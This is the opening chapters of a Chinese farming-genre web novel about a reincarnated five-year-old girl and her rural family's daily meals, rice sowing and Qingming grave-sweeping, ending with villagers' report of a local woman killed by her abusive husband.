《四时田园杂记(种田)》 1. 蒸水蛋 《四时田园杂记(种田)》全本免费阅读 三月里的早晨,院子鸡棚里的大公鸡打了好几遍鸣,天依旧暗沉沉的。 或许是快要下雨,屋外刮起了风,窗子外挂着的草帘子被风卷起,时不时地拍在土墙上,啪嗒啪嗒的作响。 睡在屋里的宝珍艰难地掀起眼皮,迷迷蒙蒙眨了好几遍眼睛,才逐渐适应眼前的黑暗。 她用手摸了摸,旁边睡在床里头的宝珠还在呼呼睡,偶尔砸吧嘴巴发出一两声呓语。 宝珍坐起身来,继续在床头边摸索,终于在宝珠头下找到了自己的夹袄,她抽出袄子套上,系好纽扣,再伏趴在床上,伸出小脚去探床底下的鞋子。 划拉好几下,还是没有找到鞋子,宝珍叹了口气。 其实这个床已经是伯伯打的最低的了,但是对于只有五岁的宝珍来说,还是有些高了,她没办法坐在床边,双脚就能够得着地,毕竟她的年龄、她的腿,也就这么的短。 耐心寻找了一番,鞋子终于找到了。 宝珍趿拉着鞋子,走到门后脱了小裤坐在尿壶上嘘嘘,再起身把小裤穿上,又走到床尾找到自己的棉裤,扶着床沿把棉裤穿好,鞋跟拉上。 穿戴完毕,她拉开西屋的门走出去,中间堂屋也不亮堂,只有后面厨房点着松油灯烧着火,火光映照在墙壁上亮堂堂暖融融的。 宝珍跨过高高的门槛,对着正在拉风箱烧火的李兰香软软喊道:“娘。” 又抬头称呼正在灶台边煮饭的罗水林:“爹。” “诶。”夫妻两人笑眯眯地齐声应答。 宝珍宝珠的父亲罗水林是个卖货郎,身量高高瘦瘦,一张容长脸,很是亲和俊秀,脾气也是一等一的好,因此大媳妇小姑娘都喜欢在他那里买些针头线脑、珠花香膏一类的。 娘亲李兰香呢,只有二十出头的年纪,她身量不高,体态苗条,长着一张白皙的圆盘脸,大眼琼鼻菱形小嘴,乌鸦鸦的头发全部束在脑后盘成了一个髻,用一块蓝布包着,很是俏丽。 看到早起的乖女儿,李兰香忍不住把宝珍小小的身子抱在怀里亲香了好一番,再摸摸她的小手是否暖和,才把她放下地。 随后往灶膛里添了几块干柴,就牵着宝珍带她洗漱去了。 灶台上架了两口锅,一个锅专门用来煮饭炒菜,旁边另一个锅则是利用余火来温水的。 李兰香拿出个葫芦瓢,舀出一瓢热水放入脸盆中,再掺入半瓢冷水,找出宝珍的牙杯和洗脸布巾后,一手端水一手牵着她走到厨房后门处,放下脸盆折支柳条,让她自个儿蹲着漱口净脸。 此时灶台上饭锅里的水已经沸了好一会儿,罗水林打开锅盖,拿锅铲挑起一粒米放在指尖捻了捻,米没完全熟,中间还有点白心,但是已经一捻就碎了。 罗水林把墙上挂着的竹簸箕取下,搁在一个大陶盆上,随后又用木瓢把锅内的米和米汤全部舀起,米汤从簸箕的缝隙滴漏到下面的陶盆中,只留下白白的米粒儿。 紧接着他又在锅内添了一小碗清水,取出一个小圆簸箕倒置在锅底,再将竹簸箕内的米粒慢慢倒进锅,堆成一座小山尖的形状,又另取了几个洗净的番薯切成厚片,围着米饭山贴了一圈,这是为利用热气将其蒸熟。 最后又从橱柜里捡出一枚鸡子,敲开打落在碗里,只见他右手使筷子将蛋液迅速搅散,左手则用勺舀了一勺米汤一小撮盐加进去搅匀,再把米饭山尖尖扒开个口子,将碗坐进去,这才一切准备完毕,把锅盖给盖上了。 宝珍已经洗净手脸,娘亲李兰香也恰好把宝珠从被窝里挖出来,正坐在灶台后拿着衣服给她套上身。 宝珠是宝珍的妹妹,只有三岁,还是不知事的年纪,连话都说不太清楚,整日里除了吃就是黏着娘亲和姐姐,像个跟屁虫。 这时宝珠还未完全醒,整个小人儿懒懒地搂抱着娘亲,任由李兰香给她抬手穿衣提腿穿裤。 等到穿完衣裤,宝珍适时给递上一条热腾腾的湿帕子,李兰香接过立马便盖在宝珠的小脸上,左搓搓右搓搓,再掏掏两只小耳朵,脸蛋便洗净了。 至于宝珠,帕子一上脸就叽歪怪叫、左躲右避起来,主打一个拒不配合,不过等给她洗完脸,人倒是终于清醒了。 刚洗完脸的宝珠从娘亲怀里一落地就要跑,奈何人小腿短,刚迈步便被揪住了后衣领子,原是宝珠怕梳头,每日李兰香给她梳头就免不了一通哭闹,吵人的很。 其实宝珍也怕梳头,因着这时梳头都是用的篦子,篦子齿密且尖细,是为了能把头皮上的脏物一同给梳下来,再加之古人都容易生头虱,篦子齿密,能把一部分头虱给篦下来。 不过,李兰香爱干净,也很是注重家中两个女儿的卫生,因此宝珍宝珠都没有生头虱。 虽如此说,但是晚间睡觉免不了把头发睡的乱糟糟,小孩儿头发不抹头油又易打结,因此每次晨起用篦子梳头,总是扯的人头皮生疼,也难怪宝珠每次都哭。 李兰香哄她:“乖宝嘞,不疼不疼,你爹今天可是蒸了水蛋给你们吃,若是哭了可就没得吃了,就给姐姐一个人吃。” 说是这般说,但疼起来哪里是忍得住的,没梳几下,宝珠就依样闹起来。 不过等一梳完头,宝珠的哭闹便戛然而止,小人儿自己用衣袖擦擦眼泪,脸色立马阴转晴,还笑嘻嘻地从娘亲怀里起身,作势要去拉姐 2. 大蒜炒腊肉 《四时田园杂记(种田)》全本免费阅读 吃罢早饭,罗水林从后头仓房里找出了锄头和蓑衣准备下田,今日天气似要下雨,不适合出去卖货,再加上快到种稻的日子,田垄得修整修整,田里也要放水,方便翻土。 刚把大门门栓取下,风就夹裹着湿润的水汽吹进来。 李兰香从后厨端了一小盆用米糠米汤烂青菜叶拌好的鸡食,招呼两个小姐妹拿出去喂鸡。 宝珍乖巧应了,端着鸡食去了院子,宝珠是一刻离不得姐姐,屁颠屁颠就跟上去。来到院子里放下盆,刚打开鸡笼子,一只大公鸡和两只母鸡就冲出来抢食,宝珠怕鸡,忙躲到姐姐背后。 看到鸡都出笼了,宝珍赶紧去捡笼子里的鸡子,早上刚下的蛋还热乎着,共捡了两个,宝珠闹着也要捡,再捡也没了,宝珍只好塞了一个回去让她重新捡,这才开心。 回到后厨把鸡子交给娘亲,两个小姐妹也无事做,于是共坐在灶台烧火的凳子上看李兰香洗碗刷锅。 李兰香用竹笤帚把洗锅水扫出来,又吩咐:“宝珍,带着妹妹去后头菜园子里扯些大蒜苗来,择干净,中午我给你们炒腊肉吃诶。” 听到吃腊肉,宝珍口中也泛起了馋,要说穿越前,即使前身是个孤儿院长大的穷娃,但在现代,肉还是天天能吃到的,不像来到这个架空古代王朝,虽然也算是富庶平和,但乡人吃肉还是吃得少,隔几天才能见次荤腥。 于是宝珍带着宝珠去菜园扯了两把大蒜苗回来,就坐在大门门槛上择。 把蒜须用剪刀齐根剪了,撕去外面粘着黄泥的老蒜叶,再让宝珠把变黄的叶尖尖掐掉,蒜苗就择干净了。 李兰香洗罢碗筷也来帮忙,她手脚麻利,不一会儿干完了活。其实这些事她自己就能做,主要是两个娃娃现在正粘人的时候,不给她们找点儿活干,那就跟刚出蛋的小鸭子,成天的跟在屁股后面叽呱,叫人又烦又爱。 刚收拾完菜,雨就落了下来。一丝儿一丝儿的,也不大,就是总随风飘进屋,把屋里地面都给打湿了。 “下雨了,爹爹还在外面呢,要淋雨。” 宝珠看着雨幕呢喃,她不喜欢淋雨,雨丝偶尔飘进脖子里,湿漉漉的感觉怪难受的。她扶着门踮起脚,伸出小脸往雨里瞧,皱着眉头盼望爹爹赶紧回来。 “噗嗤。” 李兰香看着两个娃娃担心的小模样不由得笑出声:“行啦,爹爹他带了斗笠和蓑衣,淋不着。倒是你们赶紧进屋去,等下雨落进来,屋里要发大水。” 李兰香把两个娃娃赶进屋,又收拾收拾把烂蒜叶扔出去喂鸡,蒜须拾回来。现在雨还不大,三只鸡一点没受影响,还在院子地里刨着食。 等把大门关上,雨丝就一点儿也飘不进来了。李兰香把蒜须拿回厨房,舀水细细洗了几遍,才把上面的黄泥洗净了,又用水泡着,打算中午凉拌来吃。 时近中午,罗水林才从田里回来。这时雨已经下的有些大了,即使他带了斗笠和蓑衣去,还是淋得一身湿透,裤子鞋子更是被黄泥淹完了,湿答答的贴在腿上,锄头被他扛在肩上,后头翘挂着一只木桶。 他拍门叫李兰香接过木桶和锄头,然后自行去水井旁打了桶水,把腿上的黄泥冲干净,来到檐下把斗笠蓑衣脱了,挂在墙上,这才进屋。 李兰香早就烧好了热水等他回来,这个天气不算太冷,但感染风寒在古代还是很要命的。 “赶紧泡一泡,水我给你放东屋了,头也一起洗洗,多泡会儿,泡完吃饭。” 李兰香叮嘱完就去了后厨,两个小姐妹此时正蹲在木桶旁边,认真地端详桶里的物事。 木桶里装的是青黑色的螺蛳,有大半桶。李兰香舀了水滴了两滴茶油进去,预备先养会儿让它们吐了沙再吃。 那螺蛳活跃些的已经伸出了触角,一个个爬在桶壁上,宝珠看着好奇,伸出小手去点它,螺蛳立马就缩回了壳,再不肯出来了。 这厢两姐妹玩螺蛳玩的起劲,那厢李兰香已经忙活开了。 只见她先捞出洗净后白白的蒜须控水,随后切了两只红辣椒,碗里加入小半勺盐小半勺辣椒粉,一勺酱油,再滴两滴香油,全部搅拌均匀,咸香辣口的凉拌大蒜须便完成了。 紧接着又去后头仓房,把悬挂在梁上的腊肉切了小半截来,腊肉切片,洗净的大蒜苗切段,再把炉灶的火升起来,便开始炒菜。 锅中不用额外放油,黑红的腊肉肥瘦相间肥多瘦少,放进锅里干煸一会儿就榨出了油,再将蒜苗放进去一同炒,加点盐调味炒熟,香喷喷的蒜苗炒腊肉也做好了。 等到罗水林洗好澡出来一看,桌上已放置了凉拌大蒜须、蒜苗炒腊肉、小咸菜,妻子还在热早上的蒸饭,两个乖女儿正趴在桌前盼着开饭。 罗水林见状上前,一手搂一个,亲昵了好一会儿,这才把她们抱上长凳,随后又到后厨盛了她们俩的饭端来,一家四口这便开饭了。 凉拌大蒜须好吃开胃,一入口便口舌生津,只是呛口且辣,两个孩子是吃不得的,于是罗水林多 3. 春韭炒嫩螺 《四时田园杂记(种田)》全本免费阅读 转眼到第二日,早上鸡还没叫,罗水林就起了身,轻悄地穿好衣裤,稍微洗漱了一番,便背着鱼篓和绳网兜来到了水渠。 昨日下了一天雨,田里灌满了水,田埂上更是烂泥糟糟的,一踩一打滑。水渠的水奔腾的正欢,想来是上游水库已经开始放水了。 今日天气倒是好,天边启明星亮了,应是会出晴。罗水林就着天边的一丝光亮,找了个水流比较平缓的拐弯处放置好鱼篓子,然后又拿着绳网兜,顺着水流一路往前捞过去。 待到日头出来,忙活了一早上的罗水林也拿着鱼获准备回去吃早饭。 刚进院子,坐在门槛上梳头的宝珍和蹲着的宝珠就迎上来。两个人与其说是在梳头,倒更像是在玩,宝珍还散着发,宝珠倒是扎了左边的发,打了结歪歪扭扭的盘在头上。 “鱼,好多小鱼!” 宝珠惊喜的扒着鱼篓子叫,宝珍已经去后厨讨了盆端过来,一行三人到水井旁打水。 篓子里的鱼体型都很小,应该是鲫鱼,只有二三寸长,倒出来有个小半盆。罗水林再拿出网兜,里面有五只比成人手略大些的草鲩鱼。 现在还不杀,罗水林就预备着打水养起来。 等装完水,两个小姐妹蹲在井边看他洗手。刚刚抓了鱼,手难免腥气,罗水林便取了澡豆过来细细净了手,随后又拿了宝珍的梳子坐去门槛上,唤两人过来梳头。 宝珍依言过去蹲在他脚中间,罗水林给她顺好发,拿红绳在头顶给她扎了个冲天小辫,又仔细给她梳好刘海儿,接着抱过在旁边排队等待的宝珠,先把前面扎的头发拆掉,再重新梳了两个揪揪,最后端详一番,甚是满意。 今天的早饭是菜粥,佐以腌萝卜条,两个小姐妹再一人一个白水蛋。 早饭吃完,罗水林去担货卖,李兰香也是打算去地里下菜种,独留宝珍宝珠在家。 李兰香怕她们乱跑出门,早上煮完粥就把螺蛳给煮熟了,现下正浸泡在凉水里。 “宝珍呀,你带着宝珠帮娘把螺蛳肉起出来,再管着宝珠,不要让她出门子乱跑。” 宝珠很是不服气,顶嘴:“宝珠不会乱跑,姐姐才会乱跑。” 李兰香顺着她:“是是是,你最乖。” 然后又去折了几根细细的竹枝回来,拿给宝珍让她们挑螺肉。于是两姐妹便一人端来一个小凳子,坐在院子里干活。 青黑色的螺蛳小小一个带壳煮熟,宝珍掀开螺口的小盖,伸进竹枝把螺蛳肉挑出来。这个活儿不算好干,小孩子的手还没那么灵巧,螺蛳肉煮后缩水,全藏在拐弯的螺壳里。 宝珠也学着姐姐的样子挑,抓一个掉一个,螺肉没挑出几丝,小腰就要弯断了。 待到李兰香从菜地回来,两人的螺蛳才堪堪挑完,大半桶螺蛳,挑出的肉才得一盘子而已。 “哎哟,真不错!宝珍宝珠真是娘的好帮手。” 李兰香笑容满面,不吝夸奖。孩子嘛,都是越夸越乖的,不管做的活怎样,这次夸了,下次还会愿意干,若是求全责备,一味挑错,孩子没得着好处还挨了骂,以后都不会肯做活了。 宝珠上前缠着她撒娇:“娘,我的腰好酸呀,是不是要断了。” “胡说,小孩子哪有腰。” 原是宝珠经常听村里婶子姨婆这些人说腰酸背痛腰要断了的话,也学来说嘴。 李兰香放下扁担和水桶,爱怜地捏捏她的小屁股,又从桶里拿出一捧韭菜去井边洗。 俗话说:清明螺,赛肥鹅。 快到清明节,正是吃螺的好时候,自古农家就有清明吃螺蛳的习俗,用针把螺蛳肉挑出来烹食,被称为“挑青”。这时的螺蛳过了一个冬,入春后长的越发肥美,再加上春天的头茬嫩韭菜同炒,那叫一个鲜。 中午的菜就是炒螺肉,切些姜蒜辣椒,先爆炒螺肉,再加盐、些许酱油、一小勺醪糟翻炒入味,最后放韭菜,大火炒至断生便可以出锅了。 除了炒螺丝,李兰香还做了一个凉拌马齿苋,这东西田里地里生的到处都是,割韭菜时顺手便扯了些回来,当个趣味吃。 宝珍上辈子只吃过螺蛳粉里的螺蛳,那时候吃着感觉全无味道,毕竟是用来熬汤底的,煮到后面就只剩下像是皮筋一般难嚼的口感了,认真算来,这算是她第一次吃用螺蛳做食材炒的菜。 初次尝试,螺蛳肉不老,嚼起来软糯肥嫩,用醪糟炒过后,细尝还带着丝丝米酒的甜味儿;春韭菜一点儿都不辛辣,满满的都是清香鲜美。 实在是太好味,宝珍宝珠很是捧场,添了两次饭才停下筷。 李兰香满足地看着两个女儿吃饭,有句话不是说,食客的满意,就是对一个厨子最大的肯定和赞美嘛。她手艺一向好,平日里还会和婆婆大嫂去接乡人的红白酒席来做,权当挣个小钱花。 下午吃罢饭,李兰香提着脏衣服去塘里洗,宝珍宝珠也黏着跟上,想出去玩。 宝珍在的这个村子叫栗花村,人口不多,只有一百多户,基本都是姓罗的。村子前有个大水塘,全靠着村旁的一条河供给水,全村平时浣洗衣物要么去水塘,要么去河边,不过这条河的河床低河道深,离岸边有不小差距,下去也比较麻烦,所以大多人都会来水塘,方便些。 水塘边有固定洗衣的区域放了青石板,李兰香找了平时常用的位置,嘱咐好宝珍宝珠不得走远,不得玩水,便放开手让她们自己玩去了。 正午的阳光有些晒,水面浮动的波光很是晃眼,宝珍便拉着宝珠躲去岸边的树荫下。 “好多花花呀。”宝珠感叹。 的确是,水岸边生了许多的野蔷薇,此时阳春三月,开出了一大片一大片的粉色白色蔷薇花,很是壮观。风一吹,花香袭人,还有蜜蜂在花朵间忙着采蜜。 宝珍想去折几支回来,只是野蔷薇带刺,生的好的也都在高处,以她的身量还够不着,于是放弃了这个想法。 两人蹲在树下无聊地揪草玩,忽听得不远处有“咕咚咕咚”声。 宝珍宝珠循声找去,转过开得正盛的蔷薇丛,看到一个男孩儿站在水边,手里抓着一把碎瓦块,正背对着她们在打水漂玩。 宝珠很快认出人,惊喜地叫道:“二哥哥!二哥哥!” 二哥哥是她们的亲堂哥,大房的次子。家里这一辈的孩子名字都从宝,于是大房第一子名唤罗宝金,第二子就叫罗宝银,接下来便是二房的罗宝珍、罗宝珠。 罗宝银此时年九岁,比宝珍还大四岁,家里人一般不叫他大名,只叫他牛蛋,因为他从小性子就倔得像头牛,以前家里把他送去和哥哥宝金一起读书,希望他能识得几个字,结果上了一天学 4. 香煎小鱼干 《四时田园杂记(种田)》全本免费阅读 过了两日,大房耕完田,宝银便不待叔叔来家牵牛,自个儿就送过去了。 拉着牛走到院门口,远远嗅到一鼻子香味,宝银把牛拴在井边,迈进堂屋大声喊: “叔、婶子,我把牛给牵来了。” “诶,好嘞,我们在灶房,牛蛋快来。” 坐在炉膛前烧火的罗水林也大声应和他,叫他进来。宝银进了灶房,便看到婶婶李兰香正在煎鱼。 处理干净的小鲫鱼,只有约莫二三寸长,先加盐稍微腌制一下,拿出去晒一日至半干,现下用小火慢慢煎,煎得它两面金黄,焦香酥脆,那香味一个劲儿地往人鼻子底下钻。 守在灶台边的宝珠耐不住地询问:“娘,小鱼好了吗,快煎好了吗?” 李兰香看她一副小馋猫等不及的样子,便从锅中挑了一只,放嘴边吹凉些挟给她,宝珠喜得蹦了两蹦,伸手接过来就往嘴里塞。 又给宝珍和宝银一人挟了一条去吃,剩下的小鱼干放些姜葱蒜末,淋一勺酱油,翻炒入味后就可以盛出来了。 鱼蛮多,李兰香分了两个盘子装,喊宝银过来,让他带一盘给家里吃。 宝银端上盘子就要走,罗水林又叫他:“牛蛋,等下送鱼过去后再来叔家吃午饭,还有豆腐鱼汤嘞。” “哦。”宝银应完往家赶,走到家里把煎鱼盘子往桌上一放就要走。 “诶诶诶?” 他娘葛月红正在摆碗筷,见状连忙拉住他问:“牛蛋,你这鱼哪里来的?” 宝银老实回答:“叔婶给的。” “哎哟你这个家伙,吃了你叔婶家多少好东西,给你你就接着啊?真是一点都不带客气的。” 葛月红拎他的耳朵,“你把盘子都端过来了,那两个妹妹和你叔婶还有得吃么。” “有啊,婶做了两盘子。” 葛月红被呛得噎住,她生的这个儿子是从头通到脚的一根筋,性子就这个死样,遇到有些人,人家跟他说反话他都听不懂的。 “那你现在又要跑去哪儿,都快要吃午饭了你晓得不?” 宝银挥开他娘扯耳朵的手,一矮身滑鱼样地溜走了,“我晓得,我就是要去赶吃饭嘞,叔叔叫我去他家喝鱼汤。” 说着一溜烟功夫就跑远了,抓都抓不住,气得葛月红干跺脚。 …… 五只大些的草鲩鱼改了刀,提前用姜葱盐和黄酒腌渍一会儿,油热了放下锅去煎,把两面煎得金黄,然后倒热水,放入早上刚买来的老豆腐,多煮会儿,煮得汤浓白鲜香,直至豆腐浮起来下一把芫荽,尝尝咸淡合适否就可以出锅了。 李兰香取了三个小碗,先一人盛碗鱼汤,喊宝银三兄妹去喝,再快手炒个苦麻菜便齐了。 今天这顿午饭很是丰盛,一盘子香煎小鱼干,一大海碗的豆腐鱼汤,再加个清热下火的苦麻菜,吃得三个娃娃肚儿滚圆才肯下桌。 下午宝银跟着叔叔罗水林一同下田赶牛翻地,李兰香守着宝珍宝珠歇晌,等她俩睡着后,便拿出纸钱在院子里折金银元宝。 过些日就是清明,要上山祭拜祖先,金银元宝和黄裱纸都要提前备起来,到时带去山上烧。 折了一半,有人来叩门,李兰香过去打开院子门栓,原是葛月红过来了。 只见她手里挎着个篮子,篮子里装了蜡烛和香,另还有一盘子糖拌金雀花。 李兰香招呼她:“大嫂,你咋过来了?是找宝银么,他跟着他叔下田去了。”又从家里端出个小凳子请葛月红坐。 “嗐,找他干啥,牛蛋天天都不着家的,我要时时找他我得累死去。” 葛月红把篮子递给李兰香,又说:“娘说去年买的蜡烛和香有多,今年就不必再买了,让我送些过来给你。金雀花是我带过来给宝珍宝珠吃的,她俩现在哪儿呢?” 李兰香笑着接过篮子,致谢道:“多谢娘跟大嫂,她们俩个吃了午饭去睡了,我估摸着也差不多快醒了,我去叫起来。等下她俩看到你给带的吃食,可要高兴坏了。” “诶不急不急,让她们自己睡醒,就不要叫了嘛。”葛月红忙拉住她,不让她去叫。 于是妯娌两个便坐在院子里一起折纸钱,聊聊天儿。 葛月红动作麻利,手指翻飞间就折好了好几只金元宝,边问她:“你怎么样,你娘上次拿给你的草药吃了,现下有好消息不?” 李兰香听罢捂了捂肚子,皱着眉摇了摇头。 自从她三年前早产生下了宝珠,落红不止,恶露淅淅沥沥排了半年才停,肚子就再没动静。一开始也是不急的,只以调养身体为先,可是现在宝珠都三岁多了,她还是一点儿动静也没有。 罗水林劝她,横竖两人都还年轻,实在是不必要这么着急,去年他们去县城看了大夫,大夫只说她当时生产伤了身,现下还没完全恢复好,只开了几副调养身子的药回来喝。药喝完依旧没个响,她娘过年又带了自己采的草药来,嘱咐她用春砂仁根煲瘦肉汤喝,隔一旬喝一次,如今喝了三个月,也还是没丁点动静。 “唉……”她长长地叹口气。 “你也不要忧心,你和小叔年纪也不大,再调养调养身子,兴许哪天就又怀了呢。”葛月红宽慰她,“而且我当时生完宝金,隔了五年才怀上的宝银,这孩子啊,都是上天定好的数,该你有的,就一定会有。” 李兰香听罢垂下头,低声说:“我晓得,只是……大嫂,我也敞开心跟你讲,咱们情况不一样。你生的毕竟是儿子,我的宝珍宝珠都是女儿,我一是怕自己生不出兄弟让她们依靠,二来……我也怕爹娘有意见……” 葛月红听完一愣,随后噗嗤一声笑出来,“哎哟,果然被娘给猜着喽!” 她拉住李兰香的手拍了拍,“你啊,不要想太多,爹娘是个什么性子你还不晓得么,他们要是着急, 5. 清明粿 《四时田园杂记(种田)》全本免费阅读 晚间吃罢饭,罗水林在后仓房量出要用到的稻种,装进一个大布袋,然后去担了两桶水倒进一个大瓮中,再将布袋浸泡在瓮里。 宝珍宝珠跟在后面看他做事,宝珍前世没种过田,自然不晓得种田有哪些步骤,于是知耻下问:“爹爹,为什么要把谷子用水泡着?” 罗水林摸摸她的头,告诉她:“这是浸种嘞,人要喝水,种子也要喝饱水,这样才会出芽嘛。” 宝珍似懂非懂地点点头,以前她都以为播种只要把种子撒进土里就行,有阳光有水有养分,植物自然就会生长,倒还不晓得种植原是一门大学问,要如此的劳心劳力。 种子浸泡了两日,提出来沥干水,倒在地上摊开的竹晒垫上,放在阴凉处,再用稻草盖住用以保温,两日后种芽就冒出来了。 这个期间宝珍宝珠是非常关注的,日日都要去瞧有没有发芽,今天一大早看到谷子上冒出了白白的小尖儿,宝珠高兴得不行,立马便把罗水林拉过来,要告诉他这个好消息。 罗水林暗笑,其实他是早就晓得的,本是早起便要播种,但想到两个女儿今日还没来瞧,于是特地留到她们起床,随她们开心一下。等吃了早饭,他就把发芽的稻种洒去了秧田。 耕完田布完秧,农忙就暂停一会儿,耐心等秧苗成长即可。这时,清明节也到了。 一大早,宝珍宝珠便被李兰香从被子里挖出来,给她们穿了一身新春衣。 现在天气暖和起来,薄褂子也可以穿出来了。宝珠摸摸胸口的盘扣,又扣扣下摆的花纹,甜蜜蜜地问娘亲:“娘,今天怎么穿新衣裳呀?” 李兰香边铺被子边应她:“今天要去拜太公太婆,穿上新衣裳让太公太婆认认人,以后啊,多保佑我们家宝珍和宝珠。” 宝珍靠在床边,她身上穿了和宝珠别无二致的衣裳,一身天青色的细棉褂子和长裤,下摆绣了几朵粉色小花,衣服的袖子和裤脚都是往里收了边的,等她们身量长大还可以拆了线继续穿。 上辈子宝珍没亲人,自然没祭过祖,这还是她头一次正正经经地过清明。 早饭是去老宅吃,祖母孙婆子做好了吃食,就等他们一家到了,再开饭。 孙婆子的年纪已经五十五岁了,身体还是很健壮,头发花得也不厉害,看起来很有精气神。她的老伴罗老头比她大两岁,身材很精瘦,因为长年累月地种田,被晒得黝黑,脸上堆着深深的皱纹,眼神很锐利,不笑的时候看着有些凶,所以宝珠最怕他。 此时罗老头蹲坐在院门口扎毽子,彩色的鸡毛插入鹅毛管子里,再缝进带铜钱的布片上,一个漂亮的毽子就做好了。 今天早上起了浓雾,看起来一时半会儿还散不了,罗老头盯着眼前的雾,里面慢慢显现出了几道人影,是罗水林一家人到了。 “阿公。”小姐妹一齐喊他,宝珠更是喊完就躲到李兰香背后去,怯怯地从娘亲腿边偷看他。 罗老头立马咧开嘴笑起来,上前去牵宝珠的手,“宝珠诶,看看阿公手里有什么?” 他的手耍戏法一样在宝珠头上转几个圈,然后停到宝珠面前,“看,是不是我们宝珠上次想要的毽子呀?” 毽子一出现,宝珠立马就忘记了害怕,开心地任罗老头把她牵进了屋。 人到齐便可以开饭,孙婆子给神龛装点了香和烛,供了饭,然后一大家子人围坐在堂屋饭桌旁就餐。罗老头孙婆子坐上首,大伯罗水森和伯娘葛月红坐左边,罗水林夫妻坐右边,下首坐着宝银、宝珍、宝珠三个。 饭桌上摆着一大碗蒸水蛋,一盘子油渣炒咸菜,一碟子萝卜干,一碟子腐乳,还有一蒸屉蒸好的清明粿,主食是熬得稠稠的白粥。 宝银很有做哥哥的样子,主动给两个妹妹盛了粥,又殷切地一人夹了一个清明粿。 “快吃快吃,先吃清明粿,好吃的不得了。” 孙婆子端起碗喝粥,一脸慈爱地看孙子孙女们吃东西。 这清明粿是采了野艾蒿来做的,剁碎了和糯米粉、籼米粉拌在一起,揉成绿色的皮子;里面的馅儿今年做了两种,一种是甜口的花生芝麻馅,一种是咸口的腊肉丁豆干馅。 宝珍吃到的是咸口的清明粿,外皮很软和粘牙,吃起来有些微苦,是属于艾蒿独特的味道,里面的馅儿很香,腊肉丁蒸熟后,油脂渗进了豆干里面,嚼起来油香肉香豆香都有,的确好吃。 宝珠则吃到了甜口的清明粿,里面的花生是炒熟后碾碎了的,芝麻也是炒熟后磨成了粉,这两种作物原本就香,炒过以后更香,而且花生碎给其增添了沙沙的口感,馅里面掺了糖,吃着甜香甜香的。 两个人吃完手中的清明粿还想再吃,孙婆子便不许了,因着这粿的外皮是用糯米粉做的,孩童肠胃弱不好消化,不能一下子多吃。 听到不能再吃,宝珠的嘴巴就嘟起来了 6. 夜话 《四时田园杂记(种田)》全本免费阅读 几经跋涉,终于到了坟地,已经有村人早早来祭拜,空气中还残留着刚烧完的香灰味道。 经过一个冬,坟上长满了杂草和新生的树苗。罗水森两兄弟先是用锄头和柴刀将坟头清理干净,然后去旁边的土坡铲来新土添上,孙婆子和两个媳妇也将贡品布置好,一瓶清酒、一块煮熟的白肉、一碟不放馅料的艾果,便齐全了。 坟头添了土还不算好,孙婆子找出黄裱纸,让宝银盖在坟上面,宝银一一照做,又怕纸太轻,找来了土块和石子压上去,如此纸便不会被吹跑了。 一应准备完全,孙婆子便把香和烛点燃,罗老头嘱咐宝珍宝珠:“把耳朵捂上走远些,阿公要打爆竹啰。”于是点起爆竹,噼里啪啦的一阵响,折好的金银元宝也将其在坟前烧完。 罗老头和孙婆子对着墓拜了三拜,两夫妻和宝银也依次上前叩拜,最后孙婆子和罗老头牵来宝珍和宝珠,孙婆子握住宝珍的小手,将它合掌拢在胸前,教导她下跪磕头,一拜一叩首再起身,如此三次,口中念念有词: “太公太婆在上,今曾孙女宝珍、宝珠前来拜祭,求太公太婆保佑,保佑身体健康、万事顺意,保佑家里和和美美、平平安安。” 宝珍怀着敬意乖乖地认真叩拜,宝珠还小,依旧是懵懵懂懂的,只晓得跟着照做便是。 祭拜完太公太婆,还有太太公和太太婆的坟要祭拜,其余的亲人坟墓便没有了,再上两代前的墓,大多都风化填平了,找也找不见。 收拾了东西正要下山,忽然听见另一边山脚下传来唢呐嘀嗒吹奏声,仔细听还夹杂着人的呜呜哭咽声,声音缓缓渐进,似是在往山上行来。 现在半上午的天儿,雾还没散干净,日头悬在空中也是昏黄的,感受不到热意,再听见唢呐声,这感觉怪让人发毛的。 孙婆子和罗老头对视一眼,恰好有一队村上的人祭拜完要回去,孙婆子便拉住其中一人的手,询问:“树根媳妇儿,这是咋个回事,你们有没有听到有人在哭?” 被她拉住的妇人赶紧说:“哎哟水森娘,快走快走,这是有人在出殡,路上讲,不要等下碰上,太不吉利了。” 于是一群人加快脚程,又换了条小路下山去。宝珍被葛月红抱在怀里,她回头望了一眼,那支送葬的队伍已经走到了山腰处,透过没散干净的雾气,隐隐能看到白色的经幡飘动,一群披戴着麻布的人正哭着走在前头撒买路钱。 孙婆子边赶路边追问:“咋回事哩,这是哪家的人过身了?还赶在这个时候落葬,要落葬也要选清明节前七后八再落,这也太不讲究了些。” “唉……难讲……”树根媳妇叹口气,她原本是棠下村的姑娘,嫁到栗花村已有十来年,这件事她是晓得实情的。 “是我娘家棠下村那边的淑云,被她男人打死了,死了已经有好几日,人都生蛆了,前天才被发现,也只能赶早下葬,要不然这个天热起来,再等七八天,身子都要烂成泥了。” 原来是淑云。一行人中的几个女人都认识她,应该说这附近就没有人不知晓她的。 淑云原来是这附近几个村里唯一一个老秀才的女儿,旁的女子人人都羡慕她。她是老秀才的独女,父母老来得女把她视作掌上明珠,老秀才开着私塾又有田产,家资颇丰,等淑云长到十七八岁也舍不得嫁出去,特地招了自己的学生做上门女婿来家,这种日子可以称得上圆满了。 但是好景不长,淑云婚后几年都没有生育,父母又接连过身,这上门女婿是个白眼狼,自己家中兄弟好几个,支撑他读书都费劲,还是老秀才给他的资助。当初招婿,这狗崽子和家里人一合计,就是为了吃绝户,白得一个媳妇还能继续读书,生了娃也是自己的,等老秀才死了,这个家不全都是他做主。 没想到淑云一直怀不上,老秀才也早早过身,这下豺狼露出真面目,把持着家里的田产金钱不说,还在县里养外室偷生私子,家里的淑云一不合他的心意就遭毒打,皮肉都没一块是好的。偏偏淑云还一直执迷不悟,认为是自己生不了孩子才导致丈夫去寻花问柳,不愿意和离。 这次淑云被打死,就是因为宗族里的老人看不下去此等行径,要行族法逼他们和离,好把这只豺狼赶出去。没想到逼急了狗急跳墙,这男人竟然敢活生生地把淑云打死,钱财地契席卷一空逃跑了,可怜的淑云死后好几日,才被人在谷仓中发现尸体。 葛月红听完怒火升腾,咬牙狠骂道:“这个畜牲,杀千刀挨雷劈,猪狗不如的东西!” 李兰香也很是愤怒,插嘴抢问道:“那这个畜牲被抓住没有?要是被抓到,真应该受凌迟!” 树根媳妇也不大清楚后面的事情了,她男人倒是知道一点明细:“听说好像是在隔壁县被抓了,说是他杀了人还敢大摇大摆地用假路引想过关,被守城的官兵识破了,后面应该会送回来让我们县令审。” 